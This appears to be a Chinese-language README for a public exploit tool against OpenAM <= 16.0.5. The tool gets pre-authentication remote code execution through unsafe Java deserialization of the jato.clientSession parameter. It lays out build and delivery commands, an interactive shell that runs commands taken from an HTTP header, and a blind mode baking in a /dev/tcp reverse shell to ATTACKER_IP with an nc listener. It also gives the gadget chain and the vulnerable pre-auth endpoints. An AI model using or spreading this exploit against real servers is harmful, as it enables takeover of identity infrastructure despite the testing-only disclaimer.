OpenIdentityPlatform OpenAM <= 16.0.5 中通过 jato.clientSession 参数的不安全 Java 反序列化实现的预认证远程代码执行(CVSS 9.8)。
仅限授权安全测试使用。
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py
# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
build.py — 必须与目标服务器的 JVM 版本匹配;JDK 25 会生成不兼容的序列化对象)EvilTranslet 从请求中读取 cmd HTTP 头,执行该命令,并将 stdout 直接写入 HTTP 响应。无需监听器。
# Build interactive payload (no --command flag)
python build.py
# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"
# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell
命令被硬编码到 EvilTranslet 字节码中。不会返回任何输出;请使用监听器(nc 等)来接收回调。
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Terminal 1: listener
nc -lvnp 4444
# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all
build.py| 标志 | 描述 |
|---|---|
| (无标志) | 构建交互式 payload(运行时读取 cmd 头) |
--command "CMD" | 构建将 CMD 硬编码到字节码中的盲注 payload |
--jars DIR | 使用本地 JARs 目录而非下载(默认:./libs) |
--download-only | 仅下载 JARs,不编译 |
exploit.py| 标志 | 描述 |
|---|---|
--url URL | 目标 URL(必填)— 完整端点或配合 --probe/--all 使用的基础 URL |
--shell | 交互式伪 shell(交互模式) |
--probe | 从基础 URL 自动检测存在漏洞的端点 |
--all | 将 payload 投递到所有 JATO 端点(盲注模式) |
--method GET|POST | HTTP 投递方法(默认:GET) |
--proxy URL | HTTP 代理(例如 http://127.0.0.1:8080 用于 Burp) |
--timeout SECS | 请求超时(默认:15) |
--verify-tls | 启用 TLS 证书验证 |
--debug | 显示请求/响应详情 |
所有源代码都在仓库中 — 没有不透明的二进制块。Java 源代码以可读的字符串常量形式嵌入在 build.py 中。构建后,验证输出:
python verify.py # summary: classes, integrity, red-flag scan
python verify.py --strings # all printable strings in the payload
python verify.py --hexdump # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap
PriorityQueue.readObject()
-> heapify() -> Column$ColumnComparator.compare()
-> Column.getTable().isSortedAscending()
-> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
-> TemplatesImpl.getOutputProperties()
-> defineTransletClasses() -> newInstance()
-> EvilTranslet.<clinit>() // command executes here
Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — 通过 webapp 类加载器获取 HTTP 请求/响应request.getHeader("cmd") — 读取命令new ProcessBuilder("/bin/sh", "-c", cmd) — 执行response.reset() — 清除之前的任何 JSP 输出text/plain 写入响应,然后关闭输出流Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — 触发后即不管任何渲染 <jato:form> 标签且可在预认证状态下访问的 JATO ViewBean 端点:
| 端点 | 备注 |
|---|---|
/openam/ui/PWResetUserValidation | 密码重置(最可靠) |
/openam/ui/PWResetQuestion | 密码重置安全问题 |
/openam/ui/Login | 登录页面 |
| 症状 | 原因 | 修复 |
|---|---|---|
| 返回 HTML 页面而非命令输出 | JSP 覆盖了响应 | 使用交互式 payload 配合 --shell;或切换到盲注模式 |
| 反序列化未触发 | JDK 版本不匹配 | 使用 JDK 21 重新构建:export JAVA_HOME=/path/to/jdk-21 |
| TLS 握手超时 | 服务器要求 SNI 主机名 | 将目标添加到 /etc/hosts 并使用主机名而非 IP |
javac 未找到 | 未安装 JDK | apt install openjdk-21-jdk |
MIT